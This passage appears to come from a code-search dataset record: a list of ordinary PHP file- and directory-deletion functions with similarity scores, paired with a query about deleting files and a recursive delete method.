doesn't exist\r\n\t\t\tredirect('dashboard');\r\n\t\t}\r\n\r\n\t\t//Check if the user has permission to delete the file\r\n\t\tif(!$this->DataModel->userPermission('edit', $storage_name, $this->authentication->uid)){\r\n\t\t\t//User doesn't has permission to edit / delete this file\r\n\t\t\tredirect('dashboard');\r\n\t\t}\r\n\r\n\t\t//Get information of file\r\n\t\t$file = $this->DataModel->fileInformation($storage_name);\r\n\t\t//Make sure that that file is already trashed\r\n\t\tif($file['trash'] == 1){\r\n\t\t\t//Permanently delete the file\r\n\t\t\t$files = array ();\r\n\t\t\t$files[] = $file;\r\n\t\t\t$this->deleteFilesPermanently($files);\r\n\r\n\t\t}\telse{\r\n\t\t\tredirect('/');\r\n\t\t}\r\n\t}", "public function silo_delete($path)\r\n\t{\r\n\t}", "public function silo_delete($path)\n\t{\n\t}", "function deleteFolder();", "private function clear()\n {\n unlink($this->getConfig()->read('tmp_dir') . Evaluator::FILENAME);\n rmdir($this->getConfig()->read('tmp_dir'));\n }", "public function delete()\n {\n\n $file_name = public_path() . \"/jobs/\" . md5($this->user->uid) . \"/\" . md5($this->uid) . '.zip';\n \\Illuminate\\Support\\Facades\\Log::debug($file_name);\n if(file_exists($file_name))\n unlink($file_name);\n return parent::delete(); // TODO: Change the autogenerated stub\n }", "protected function cleanup()\n {\n foreach ($this->temp_files as $file) {\n $this->filesystem->remove($file);\n }\n $this->temp_files = [];\n }", "function cleanupTmp() {\n // try to delete all the tmp files we know about.\n foreach($this->tmpFilesCreated as $file) {\n if(file_exists($file)) {\n $status = unlink($file);\n }\n }\n $this->tmpFilesCreated = array();\n // try to completely delete each directory we created.\n $dirs = array_reverse($this->tmpDirsCreated);\n foreach($dirs as $dir) {\n if(file_exists($dir)) {\n $this->recursiveRmdir($dir);\n }\n }\n $this->tmpDirsCreated = array();\n }", "function deleteFromServer ($fileName) {\n\n\t// Save the current directory\n\t$old = getcwd(); \n // Changing to correct dir\n chdir(\"../../uploads\"); \n // Removing file\n unlink($fileName);\n // Restore the old working directory \n chdir($old); \n}", "public function cleanUpFolder()\r\n {\r\n $fs = new Filesystem();\r\n\r\n foreach($this->file_list as $file) :\r\n if ( preg_match('#^'.$this->destination_dir.'/#', $file))\r\n $fs->remove($file);\r\n endforeach;\r\n }", "public function deleteFile(){\r\n\t\t//Get the storage name\r\n\t\t$storage_name = $this->uri->segment(3);\r\n\r\n\t\t//Check if the file exists\r\n\t\tif(!$this->DataModel->fileExists($storage_name) == TRUE){\r\n\t\t\t//File doesn't exist\r\n\t\t\tredirect('dashboard');\r\n\t\t}\r\n\r\n\t\t//Check if the user has permission to delete the file\r\n\t\tif(!$this->DataModel->userPermission('edit', $storage_name, $this->authentication->uid)){\r\n\t\t\t//User doesn't has permission to edit / delete this file\r\n\t\t\tredirect('dashboard');\r\n\t\t}\r\n\r\n\t\t//Get information of file\r\n\t\t$file = $this->DataModel->fileInformation($storage_name);\r\n\r\n\t\t//Mark the file as deleted in the database so they get displayed in the trashcan\r\n\t\t$this->DataModel->fileIntoTrash($file['id']);\r\n\t\t$this->successMessage($this->lang->line('success_file_deleted'));\r\n\r\n\t\t//Check if the file was deleted by the original owner or by a user who has access\r\n\t\tif($this->authentication->uid == $file['user_id']){\r\n\t\t\tif($file['parent'] == 0 ){\r\n\t\t\t\tredirect('/dashboard');\r\n\t\t\t}else{\r\n\t\t\t\t//Get parent information\r\n\t\t\t\t$parent = $this->DataModel->getFolderInfo(array('id' => $file['parent']), $this->authentication->uid);\r\n\t\t\t\tredirect('folders/'.$parent['public_key']);\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$parent = $this->DataModel->getFolderInfo(array('id' => $file['parent']));\r\n\t\t\tredirect('sharedFolder/'.$parent['public_key']);\r\n\t\t}\r\n\t}", "public function testDeleteReplenishmentFile()\n {\n }", "function file_delete($file,$path)\n{\n\tif(unlink($path.\"/\".$file))\n\t{\n\t\treturn true;\n\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n}", "public function testDeleteFile()\n {\n\n }", "protected function deleteProtocolFile() {}", "private function clean() {\n foreach (glob($this->dir . '/*') as $file) {\n $name = basename($file);\n if (!preg_match('/^\\d{10}/', $name))\n throw new \\Exception('Unexpected filename. Make sure \"' . $this->dir . '\" contains only build artefacts (and is thus safe to clean) and try again.');\n $deleted = unlink($file);\n if (!$deleted)\n throw new \\Exception('Failed to delete \"' . $file . '\". Make sure target directory is writable to allow delete of other users files.');\n }\n }", "public function deleteArchive() {\n\t\tif ($this->tar instanceof Tar) {\n\t\t\t$this->tar->close();\n\t\t}\n\t\t\n\t\t@unlink($this->archive);\n\t}", "public function delFile(){\r\n\t\tif(file_exists($this->directorio.$this->archivo)){\r\n\t\t\tunlink($this->directorio.$this->archivo);\r\n\t\t\treturn true;\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\t\t\r\n\t}", "private function deleteTemporaryFiles()\n {\n foreach ($this->temp as $file) {\n if (file_exists($file)) {\n unlink($file);\n }\n }\n\n $this->temp = [];\n }", "function deleteFTP($file,$path,$parent=''){\n\tif(!NOFPT){\n\t\t$id_ftp=ftp_connect(FTPSERVER,21);\n\t\tftp_login ($id_ftp,FTPACCOUNT,FTPPASS);\n\t\tftp_pasv ($id_ftp,false);\n\t\tftp_chdir ($id_ftp,$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/'));\n\t\t//echo ftp_pwd($id_ftp).'/'.$path.'/'.$file.' delete: '.$file.'//////<br>';\n\t\t@ftp_delete($id_ftp,$file);\n//\t\tif(){\n//\t\t\techo ' eliminado.++++++++++++';\n//\t\t}else{\n//\t\t\techo ' fallido.++++++++++++';\n//\t\t}\n\t\tftp_quit($id_ftp);\n\t}else{\n\t\t@unlink($parent.'img/'.$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/').$file);\n\t}\n}", "function deleteFTP($file,$path,$parent=''){\n\tif(!NOFPT){\n\t\t$id_ftp=ftp_connect(FTPSERVER,21);\n\t\tftp_login ($id_ftp,FTPACCOUNT,FTPPASS);\n\t\tftp_pasv ($id_ftp,false);\n\t\tftp_chdir ($id_ftp,$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/'));\n\t\t//echo ftp_pwd($id_ftp).'/'.$path.'/'.$file.' delete: '.$file.'//////<br>';\n\t\t@ftp_delete($id_ftp,$file);\n//\t\tif(){\n//\t\t\techo ' eliminado.++++++++++++';\n//\t\t}else{\n//\t\t\techo ' fallido.++++++++++++';\n//\t\t}\n\t\tftp_quit($id_ftp);\n\t}else{\n\t\t@unlink($parent.'img/'.$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/').$file);\n\t}\n}", "public function flush()\n {\n if ($this->fileSystem->isDirectory($this->directory))\n {\n $this->fileSystem->deleteDirectory($this->directory, true);\n }\n }", "public function delete_with_dir() {\n if(!empty($this->username && $this->id)) {\n if($this->delete()) {\n $target = SITE_PATH . DS . 'admin' . DS . $this->image_path . DS . $this->username;\n if(is_dir($target)){\n $this->delete_files_in_dir($target);\n return rmdir($target) ? true : false;\n echo \"yes\";\n }\n }else{\n return true;\n }\n }else{\n return false;\n }\n }", "protected function removeFiles() {}", "private function cleanup()\n {\n if ($this->cookiefile && is_file($this->cookiefile)) {\n @unlink($this->cookiefile);\n }\n }" ]
[ "0.80479944", "0.7947414", "0.77130276", "0.77119625", "0.76253456", "0.74628526", "0.7408241", "0.7361631", "0.73368466", "0.72891027", "0.7268968", "0.7266766", "0.71740997", "0.7106385", "0.70694375", "0.7059605", "0.7057451", "0.70311975", "0.70108837", "0.7005794", "0.70037276", "0.69772625", "0.6957075", "0.6952862", "0.6946835", "0.694219", "0.69332135", "0.692701", "0.6924421", "0.68945515", "0.68799365", "0.68763053", "0.6874423", "0.6866462", "0.6840424", "0.6838429", "0.6821894", "0.680529", "0.6798199", "0.6789061", "0.67887634", "0.6788002", "0.67807555", "0.67761457", "0.6753489", "0.6746977", "0.6746005", "0.6743291", "0.6742278", "0.67347986", "0.6728223", "0.6727169", "0.67223036", "0.67193824", "0.67168695", "0.67057204", "0.67046785", "0.67044276", "0.6703245", "0.66937935", "0.66901356", "0.66770446", "0.66768116", "0.6674268", "0.66727036", "0.6670761", "0.6664635", "0.66563904", "0.6655744", "0.6646171", "0.6645698", "0.6641685", "0.66391265", "0.6636725", "0.66351545", "0.6631797", "0.6620935", "0.66201574", "0.6619991", "0.6619885", "0.661529", "0.6600984", "0.66009116", "0.6600756", "0.6599211", "0.65950805", "0.6594299", "0.6590367", "0.6588899", "0.6586493", "0.65704954", "0.6568881", "0.6568802", "0.65653485", "0.65602964", "0.6558032", "0.6558032", "0.6543793", "0.6541488", "0.6540706", "0.6537875" ]
0.0
-1
here we attempt to delete the file/directory
public function recursiveDelete($directory) { if (!(@$this->rmdir($directory) || @$this->delete($directory))) { # if the attempt to delete fails, get the file listing $filelist = @$this->listFiles($directory); # loop through the file list and recursively delete the FILE in the list foreach ($filelist as $file) { $this->recursiveDelete($file); } #if the file list is empty, delete the DIRECTORY we passed $this->recursiveDelete($directory); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "function delete() {\n global $USER;\n if($this->Dir !== 0 && $this->mayI(DELETE)) {\n $this->loadStructure();\n foreach($this->files as $file) {\n $file->delete();\n }\n foreach($this->folders as $folder) {\n $folder->delete();\n }\n rmdir($this->path);\n parent::delete();\n }\n }", "function deleteFile() {\r\n\t\tif (file_exists($this->data[$this->alias]['path'])) {\r\n\t\t\tunlink($this->data[$this->alias]['path']);\r\n\t\t}\r\n\t}", "public function delete()\n {\n $filesystem = $this->localFilesystem(dirname($this->path));\n\n method_exists($filesystem, 'deleteDir')\n ? $filesystem->deleteDir(basename($this->path))\n : $filesystem->deleteDirectory(basename($this->path));\n }", "public function on_delete() {\n $this->remove_dir();\n }", "private function _do_delete() {\n\t\tif (g($_POST, 'delete')) {\n\t\t\tif (g($this->conf, 'disable.delete')) die('Forbidden');\n\t\t\t\n $path = g($this->conf, 'path');\n if (g($_POST, 'path'))\n $path = \\Crypt::decrypt(g($_POST, 'path'));\n \n $this->_validPath($path);\n \n\t\t\t$parent = dirname($path);\n\t\t\t\n\t\t\tif ($path == g($this->conf, 'type')) {\n\t\t\t\t$this->_msg('Cannot delete root folder', 'error');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif ($this->_delete($this->_path($path))) {\n\t\t\t\t$this->_msg('Success delete ['.$path.']');\n\t\t\t\theader('location:'.$this->_url(['path' => $parent]));\n\t\t\t\tdie();\n\t\t\t} else {\n\t\t\t\t$this->_msg('Failed delete ['.$path.'] : please call your administator', 'error');\n\t\t\t}\n\t\t}\n\t}", "public function delete() {\n\n\t \t if(!unlink($this->directory .'/' . $_FILES[$this->inputName]['name']))\n Log::debug('Upload::delete Failed to delete upload');\n else\n Log::debug('Upload::delete Delete successful');\n\t }", "public function delete()\n\t{\n\t\t$this->tossIfException();\n\t\t\n\t\t$files = $this->scan();\n\t\t\n\t\tforeach ($files as $file) {\n\t\t\t$file->delete();\n\t\t}\n\t\t\n\t\t// Allow filesystem transactions\n\t\tif (fFilesystem::isInsideTransaction()) {\n\t\t\treturn fFilesystem::delete($this);\n\t\t}\n\t\t\n\t\trmdir($this->directory);\n\t\t\n\t\t$exception = new fProgrammerException(\n\t\t\t'The action requested can not be performed because the directory has been deleted'\n\t\t);\n\t\tfFilesystem::updateExceptionMap($this->directory, $exception);\n\t}", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function delete(): void\n {\n unlink($this->path);\n }", "abstract function delete_dir($filepath);", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function clean()\n {\n if ( is_dir( $this->_strDirectory ) ) {\n $h = opendir($this->_strDirectory);\n while ($h && $f = readdir($h)) { \n if ( $f != '.' && $f != '..') {\n $fn = $this->_strDirectory . '/' . $f;\n if ( is_dir($fn) ) {\n $dir = new Sys_Dir($fn);\n $dir->delete();\n } else {\n $file = new Sys_File( $fn );\n $file->delete();\n }\n }\n }\n\t if ( $h ) { closedir( $h ); }\n \n }\n }", "protected function cleanupFilesystem() {\n $this->deleteFile($this->_directories[\"communication.log\"]);\n $this->deleteFile($this->_directories[\"communicationDetails\"]);\n $this->deleteFile($this->_directories[\"communityRegistry\"]);\n $this->deleteDirector($this->_directories[\"communityDefinitionsDir\"]);\n $this->deleteDirector($this->_directories[\"nodeListDir\"]);\n }", "public function delete(): void\n {\n if ( ! $this->isWritable() ) {\n throw new FileSystemException(\n 'File access denied: '.$this->directory->getPath().'/'.$this->filename\n );\n }\n\n if ( ! $this->exists() ) {\n throw new FileSystemException(\n 'Nothing to delete: '.$this->directory->getPath().'/'.$this->filename\n );\n }\n\n unlink($this->directory->getPath().'/'.$this->filename);\n }", "public function delete_file(){\n unlink('/opt/lampp/htdocs/specijalisticki_rad/uploaded_images/'.$this->name);\n\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function delete_file(){\n if($this->file_name != 'sample.jpg'){\n unlink($this->dir_location . $this->file_name);\n }\n }", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function testDeleteFile()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "abstract function delete_file($filepath);", "public function __destruct()\n {\n $iMax = count($this->aFiles);\n for ($iFor = 0; $iFor < $iMax; $iFor++) {\n\n if (true === file_exists($this->aFiles[$iFor])) {\n\n unlink($this->aFiles[$iFor]);\n }\n\n $sMessage = 'delete: ' . $this->aFiles[$iFor];\n $this->oLog->writeLog(Log::HF_DEBUG, $sMessage);\n }\n }", "public function delete() {\n File::deleteDirectory( $this->base_path );\n\n return parent::delete();\n }", "public function deleteDownloadFile()\r\n\t{\r\n\t\t@unlink($this->reference);\r\n\t}", "function delFile($path)\n {\n unlink($this->dir . DIRECTORY_SEPARATOR . $path);\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "function delete () {\n $this->clearCache ();\n commentaire::deletePhoto ($this->dir, $this->file);\n return files::deleteFile (luxbum::getFsPath ($this->dir) . $this->file);\n }", "protected function delete($path) \n\t{\n\t $path = $this->absolutePath($path);\n\t \n\t if (file_exists($path))\n\t {\n\t unlink($path);\n\t $this->log(\"File $path deleted.\");\n\t }\n\t else\n\t {\n\t $this->log(\"File $path not found.\");\n\t }\n\t}", "public function delete() {\n $result = $this->getFileSystem()->delete($this->getLocalPath());\n if (!$result) {\n // Inform the user if the file could not be deleted\n //File xxx could not be deleted.\n }\n\n return $result;\n }", "public function file_delete($filename);", "protected function cleanup() {\n\t\tif(isset($this->data['attachment'])) {\n\t\t\tunlink($this->data['attachment']);\n\t\t}\n\t\tparent::cleanup();\n\t}", "public function delete($filename){\n\t\t$file = $this->$dirname.'/'.$filename;\n\t\tif (file_exists($file)){\n\t\t\tunlink($file);\t\t\t\n\t\t}\n\t}", "function deleteArticleTree() {\n\t\tparent::rmtree($this->filesDir);\n\t}", "public function destroy(){\n\t\t\tif($this->delete()){\n\t\t\t\t//2.Remove the file\n\t\t\t\tif(!unlink($this->path()))\n\t\t\t\t{\n\t\t\t\t\t//$_SESSION[\"message\"]=$this->path();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "function __destruct() {\r\n\t\tunlink($this->uploadfile);\r\n\t}", "private function deleteTempFile() {\n if ($this->datastreamInfo['content']['type'] == 'file' && $this->copied == TRUE) {\n unlink($this->datastreamInfo['content']['content']);\n }\n }", "public function delete($filepath);", "function delete($path);", "function fileDelete(){\n\t\t$result = mysql_query(getFile($_GET['file']));\n\t\tif($row = mysql_fetch_assoc($result)) {\n\t\t\tgetFileGlobals($row);\n\t\t\tmysql_query(deleteObject($GLOBALS['objectId']));\n\t\t\tmysql_query(deleteFile($GLOBALS['fileId']));\n\t\t\tdie();\n\t\t}\n\t\theader('Location:' . fullURL(getLangVar(\"filesURL\")));\n\t}", "public function tearDown(): void\n {\n if (is_dir($this->tmpPath)) {\n if (file_exists($this->oldFile)) {\n unlink($this->oldFile);\n }\n if (file_exists($this->origFile)) {\n unlink($this->origFile);\n }\n if (file_exists($this->newFile)) {\n unlink($this->newFile);\n }\n if (is_dir($this->newDir)) {\n if (file_exists($this->newDirFile)) {\n unlink($this->newDirFile);\n }\n rmdir($this->newDir);\n }\n rmdir($this->tmpPath);\n }\n }", "protected function tearDown()\n {\n unlink($this->filename);\n }", "public function delete(): void\n {\n $this->instances->demo()->runHook($this->root(), 'delete:before', $this);\n\n Dir::remove($this->root());\n $this->instances->delete($this->id);\n\n $this->instances->demo()->runHook($this->root(), 'delete:after', $this);\n }", "public function destroyFolder()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'];\n if (!file_exists($file)) die('File not found '.$file);\n if (!is_dir($file)) die('Not a folder '.$file);\n $h=opendir($file);\n while($f=readdir($h)) {\n if ($f!='.' && $f!='..') die('Folder is not empty');\n }\n closedir($h);\n rmdir($file);\n }", "public function remove_dir() {\n\n $path = $this->get_upload_pres_path();\n\n //append_debug_msg($path);\n\n if(!$path || !file_exists($path)){ return; }\n delete_dir($path);\n }", "public function delete($delete_dir_if_empty = true)\n\t{\n\t\t$this->_parent->{$this->_name.'_file_name'} = '';\n\t\t$this->_parent->{$this->_name.'_file_size'} = 0;\n\t\t$this->_parent->{$this->_name.'_content_type'} = '';\n\t\t$this->_parent->save(array('validate' => false, 'save_attachments' => false));\n\n\n\t\t/* Since the parent is updated by this point, this attachment now thinks everything is \"junk\" */\n\t\t$this->deleteJunk();\n\n\t\t/* Now, lets remove the parent folder to keeps things clean */\n\t\t$dir = dirname($this->path());\n\t\tif(is_dir($dir))\n\t\t\trmdir(dirname($this->path()));\n\n\t\treturn true;\n\t}", "static function delete()\n\t{\n\t\t\n\t\tif (file_exists(Cache::$path))\n\t\t\tunlink(Cache::$path);\n\t\t\t\t\n\t}", "public function delete()\n\t{\n\t\t$this->hard_delete();\n\t}", "public function delete_local_file()\n\t{\n\t\tif(file_exists($this->local_file)) {\n\t\t\t$this->upload_local_file();\n\t\t\tunlink($this->local_file);\n\t\t}\n\t\t$this->local_file = null;\n\t}", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function tearDown()\n {\n foreach ($this->files as $file) {\n if (file_exists($file)) {\n unlink($file);\n }\n }\n }", "function remdir()\r\n {\r\n if(is_writable($_REQUEST['file']))\r\n {\r\n $dir=$_GET['file'];\r\n $this->deleteDirectory($dir); \r\n }\r\n else{echo \"Permission Denied !\";}\r\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function DeleteFile()\r\n\t{\r\n\t\t$queryDeleteFile = \"UPDATE files SET status=\\\"DELETED\\\" WHERE file_id=\".$this->fileId;\r\n\t\t$this->sqlDataBase->nonSelectQuery($queryDeleteFile);\r\n\t\tunlink(UPLOAD_PATH. DIRECTORY_SEPARATOR .$this->fileId);\r\n\t}", "public function unlinkTempFiles() {}", "public function del(){\n $status = new StatusTYPE();\n\t\t$path = str_replace($this->id.'.'.$this->ext, '', $this->getFull_Filename());\n \tif ( cmsToolKit::rmDirDashR( $path ) )\n $status = parent::del();\n else\n $status->setFalse('could not delete folder'); \n \n return $status;\n }", "public function unlinkTempFiles() {}", "protected function doCleanup() {\n $base = $this->tempPath();\n $dirs = array($base);\n\n if (is_dir($base)) {\n foreach ($this->recurse($base) as $file) {\n if (is_dir($file)) {\n $dirs[] = $file;\n } else {\n unlink($file);\n }\n }\n\n foreach (array_reverse($dirs) as $path) {\n rmdir($path);\n }\n }\n\n foreach (array(self::LOGFILE_STUB, self::STATEFILE_STUB, self::ZIPTEMP_STUB, self::ZIPCOMP_STUB) as $extra_file) {\n if (is_file($base.$extra_file)) {\n unlink($base.$extra_file);\n }\n }\n }", "public function doDelete($path);", "function DeleteFile()\n{\n\t$sFileUrl = '';\n\t\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t\n\t$sFileUrl = $_REQUEST['file-path']; \n\t\n\tif(file_exists($sFileUrl) === false)\n\t{\n\t\techo '<fail>file not exist</fail>';\n\t\treturn;\n\t}\n\t\n\t\n\t$bIsFileDelete = false; \n\t\n\tif(is_dir($sFileUrl) === true)\n\t{\n\t\t$bIsFileDelete = UnlinkRecursive($sFileUrl);\n\t} else\n\t{\n\t\t$bIsFileDelete = unlink($sFileUrl);\n\t}\n\t\n\tif($bIsFileDelete === true)\n\t{\n\t\tif(file_exists($sFileUrl) === false)\n\t\t{\n\t\t\techo '<correct>correct delete file</correct>';\n\t\t}\n\t} else\n\t{\n\t\techo '<fail>cant delete file</fail>';\n\t}\n\t\n\treturn;\n}", "public final function delete() {\n }", "function delete_file() {\n $is_logged_in = $this->common_lib->is_logged_in();\n if ($is_logged_in == FALSE) {\n\t\t\t$this->session->set_userdata('sess_post_login_redirect_url', current_url());\n if($this->data['is_admin'] === TRUE){\n redirect($this->router->directory.'admin/login');\n }else{\n redirect($this->router->directory.'user/login');\n }\n }\n\n $id = $this->input->get_post('id');\n $file_path = $this->input->get_post('file_path');\n if ($id) {\n $where_array = array('id' => $id);\n $res = $this->user_model->delete($where_array, 'uploads');\n if ($res) {\n $this->common_lib->unlink_file(array(FCPATH . $file_path));\n }\n echo json_encode(\"success\");\n } else {\n echo json_encode(\"error\");\n }\n }", "public function testDeleteDirectory()\n {\n mkdir(self::$temp.DS.'foo');\n file_put_contents(self::$temp.DS.'foo'.DS.'file.txt', 'Hello World');\n\n Storage::rmdir(self::$temp.DS.'foo');\n\n $this->assertTrue(! is_dir(self::$temp.DS.'foo'));\n $this->assertTrue(! is_file(self::$temp.DS.'foo'.DS.'file.txt'));\n }", "function delete($record_id){\r\n\t\t$rs=parent::get_record($record_id);\r\n\t\tif (is_dir(USER_IMAGES_FOLDER_ADDRESS.$rs->fields[\"image_folder\"].\"/\"))\r\n\t\t{\r\n\t\t\trm_dir_and_all_files(USER_IMAGES_FOLDER_ADDRESS.$rs->fields[\"image_folder\"].\"/\");\r\n\t\t}\r\n\r\n\t\t\r\n\t\t//--------------delete the user record\r\n\t\tparent::delete($record_id);\r\n\t}", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "function FTPdelete($file,$path,$parent=''){\n}", "protected function cleanup() {\n $h = opendir($this->tmpdir);\n while (false !== ($e = readdir($h))) {\n if ($e!='.'&&$e!='..'&&is_file($this->tmpdir.'/'.$e)) unlink ($this->tmpdir.'/'.$e);\n }\n if (is_object($this->history)) $this->history->cleanup();\n closedir($h);\n rmdir($this->tmpdir);\n }", "private function cleanTmp()\n {\n // cleanup files in tmp\n $dir = ELAB_ROOT . '/uploads/tmp';\n $di = new \\RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);\n $ri = new \\RecursiveIteratorIterator($di, \\RecursiveIteratorIterator::CHILD_FIRST);\n foreach ($ri as $file) {\n $file->isDir() ? rmdir($file) : unlink($file);\n }\n }", "public function delete()\n {\n if (empty($this->_dirname))\n {\n return FALSE;\n }\n return $this->delete_rec($this->_dirname);\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "function deletePhoto($file,$dir){\n\t\n\t@unlink($dir.$file);\n}", "public function run()\n {\n $result = null;\n\n if (file_exists($this->filename))\n {\n $result = unlink($this->filename);\n }\n else\n {\n if (!$this->ignore) return Result::error('File does not exist.');\n }\n\n return ($result)? Result::success() : Result::error('Failed to delete file.');\n }", "public function delete($filename);", "public function __destruct()\n {\n //$this->deletePath($this->path);\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function deleteFilePerm(){\r\n\t\t$storage_name = $this->uri->segment(3);\r\n\r\n\t\t//Check if the file exists\r\n\t\tif(!$this->DataModel->fileExists($storage_name) == TRUE){\r\n\t\t\t//File doesn't exist\r\n\t\t\tredirect('dashboard');\r\n\t\t}\r\n\r\n\t\t//Check if the user has permission to delete the file\r\n\t\tif(!$this->DataModel->userPermission('edit', $storage_name, $this->authentication->uid)){\r\n\t\t\t//User doesn't has permission to edit / delete this file\r\n\t\t\tredirect('dashboard');\r\n\t\t}\r\n\r\n\t\t//Get information of file\r\n\t\t$file = $this->DataModel->fileInformation($storage_name);\r\n\t\t//Make sure that that file is already trashed\r\n\t\tif($file['trash'] == 1){\r\n\t\t\t//Permanently delete the file\r\n\t\t\t$files = array ();\r\n\t\t\t$files[] = $file;\r\n\t\t\t$this->deleteFilesPermanently($files);\r\n\r\n\t\t}\telse{\r\n\t\t\tredirect('/');\r\n\t\t}\r\n\t}", "public function silo_delete($path)\r\n\t{\r\n\t}", "public function silo_delete($path)\n\t{\n\t}", "function deleteFolder();", "private function clear()\n {\n unlink($this->getConfig()->read('tmp_dir') . Evaluator::FILENAME);\n rmdir($this->getConfig()->read('tmp_dir'));\n }", "public function delete()\n {\n\n $file_name = public_path() . \"/jobs/\" . md5($this->user->uid) . \"/\" . md5($this->uid) . '.zip';\n \\Illuminate\\Support\\Facades\\Log::debug($file_name);\n if(file_exists($file_name))\n unlink($file_name);\n return parent::delete(); // TODO: Change the autogenerated stub\n }", "protected function cleanup()\n {\n foreach ($this->temp_files as $file) {\n $this->filesystem->remove($file);\n }\n $this->temp_files = [];\n }", "function cleanupTmp() {\n // try to delete all the tmp files we know about.\n foreach($this->tmpFilesCreated as $file) {\n if(file_exists($file)) {\n $status = unlink($file);\n }\n }\n $this->tmpFilesCreated = array();\n // try to completely delete each directory we created.\n $dirs = array_reverse($this->tmpDirsCreated);\n foreach($dirs as $dir) {\n if(file_exists($dir)) {\n $this->recursiveRmdir($dir);\n }\n }\n $this->tmpDirsCreated = array();\n }", "function deleteFromServer ($fileName) {\n\n\t// Save the current directory\n\t$old = getcwd(); \n // Changing to correct dir\n chdir(\"../../uploads\"); \n // Removing file\n unlink($fileName);\n // Restore the old working directory \n chdir($old); \n}", "public function cleanUpFolder()\r\n {\r\n $fs = new Filesystem();\r\n\r\n foreach($this->file_list as $file) :\r\n if ( preg_match('#^'.$this->destination_dir.'/#', $file))\r\n $fs->remove($file);\r\n endforeach;\r\n }", "public function deleteFile(){\r\n\t\t//Get the storage name\r\n\t\t$storage_name = $this->uri->segment(3);\r\n\r\n\t\t//Check if the file exists\r\n\t\tif(!$this->DataModel->fileExists($storage_name) == TRUE){\r\n\t\t\t//File doesn't exist\r\n\t\t\tredirect('dashboard');\r\n\t\t}\r\n\r\n\t\t//Check if the user has permission to delete the file\r\n\t\tif(!$this->DataModel->userPermission('edit', $storage_name, $this->authentication->uid)){\r\n\t\t\t//User doesn't has permission to edit / delete this file\r\n\t\t\tredirect('dashboard');\r\n\t\t}\r\n\r\n\t\t//Get information of file\r\n\t\t$file = $this->DataModel->fileInformation($storage_name);\r\n\r\n\t\t//Mark the file as deleted in the database so they get displayed in the trashcan\r\n\t\t$this->DataModel->fileIntoTrash($file['id']);\r\n\t\t$this->successMessage($this->lang->line('success_file_deleted'));\r\n\r\n\t\t//Check if the file was deleted by the original owner or by a user who has access\r\n\t\tif($this->authentication->uid == $file['user_id']){\r\n\t\t\tif($file['parent'] == 0 ){\r\n\t\t\t\tredirect('/dashboard');\r\n\t\t\t}else{\r\n\t\t\t\t//Get parent information\r\n\t\t\t\t$parent = $this->DataModel->getFolderInfo(array('id' => $file['parent']), $this->authentication->uid);\r\n\t\t\t\tredirect('folders/'.$parent['public_key']);\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$parent = $this->DataModel->getFolderInfo(array('id' => $file['parent']));\r\n\t\t\tredirect('sharedFolder/'.$parent['public_key']);\r\n\t\t}\r\n\t}", "public function testDeleteReplenishmentFile()\n {\n }", "function file_delete($file,$path)\n{\n\tif(unlink($path.\"/\".$file))\n\t{\n\t\treturn true;\n\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n}", "public function testDeleteFile()\n {\n\n }", "protected function deleteProtocolFile() {}", "private function clean() {\n foreach (glob($this->dir . '/*') as $file) {\n $name = basename($file);\n if (!preg_match('/^\\d{10}/', $name))\n throw new \\Exception('Unexpected filename. Make sure \"' . $this->dir . '\" contains only build artefacts (and is thus safe to clean) and try again.');\n $deleted = unlink($file);\n if (!$deleted)\n throw new \\Exception('Failed to delete \"' . $file . '\". Make sure target directory is writable to allow delete of other users files.');\n }\n }", "public function deleteArchive() {\n\t\tif ($this->tar instanceof Tar) {\n\t\t\t$this->tar->close();\n\t\t}\n\t\t\n\t\t@unlink($this->archive);\n\t}", 